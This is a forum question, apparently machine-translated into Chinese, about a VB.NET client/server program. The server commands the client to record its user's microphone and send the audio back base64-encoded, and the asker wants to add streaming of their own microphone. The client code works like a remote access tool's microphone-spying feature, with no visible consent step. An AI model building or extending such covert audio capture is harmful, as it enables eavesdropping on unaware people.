我正在编写一个程序,该程序具有服务器和客户端,可以相互通信以实时传输麦克风。
这是它的工作方式
用户打开client.exe,他们的计算机出现在服务器上,这是我可以操作麦克风的位置(我不在其他人上使用它)。< / p>
当我按“听”时,我可以听到客户的麦克风。
这是我用来收听客户麦克风”的代码
客户端应用
Private Declare Function mmciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer
Case "scream1"
mmciSendString("open new Type waveaudio Alias recsound", "", 0, 0)
mmciSendString("record recsound", "", 0, 0)
Case "scream1stop"
mmciSendString("save recsound " + screamx, "", 0, 0)
mmciSendString("close recsound", "", 0, 0)
Dim n As New IO.FileInfo(screamx)
Comet.Send("scream2" & Yy & n.Name & Yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
Comet.Send("screamf" & Yy & n.Name & Yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
My.Computer.Audio.Stop()
服务器应用程序
Timer2.Enabled = True
Timer3.Enabled = True
Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
Form1.S.Send(xxx, "scream1")
Timer1.Enabled = True
Timer3.Enabled = False
Timer3.Enabled = True
End Sub
Private Sub BunifuFlatButton3_Click(sender As Object, e As EventArgs) Handles BunifuFlatButton3.Click
BunifuFlatButton2.Show()
BunifuFlatButton3.Hide()
Form1.S.Send(xxx, "scream1stop")
Timer1.Enabled = False
Timer2.Enabled = False
Timer3.Enabled = False
End Sub
当然,还有其他与服务器通信的代码,但我认为目前没有必要。
所以,我为您提供的代码会监听麦克风,但不会流式传输我自己的麦克风。那么,我该怎么做?
Visual Basic是否有任何不错的.dll附加组件来执行此任务?
如果我还不够清楚,请在下面发表评论。
谢谢!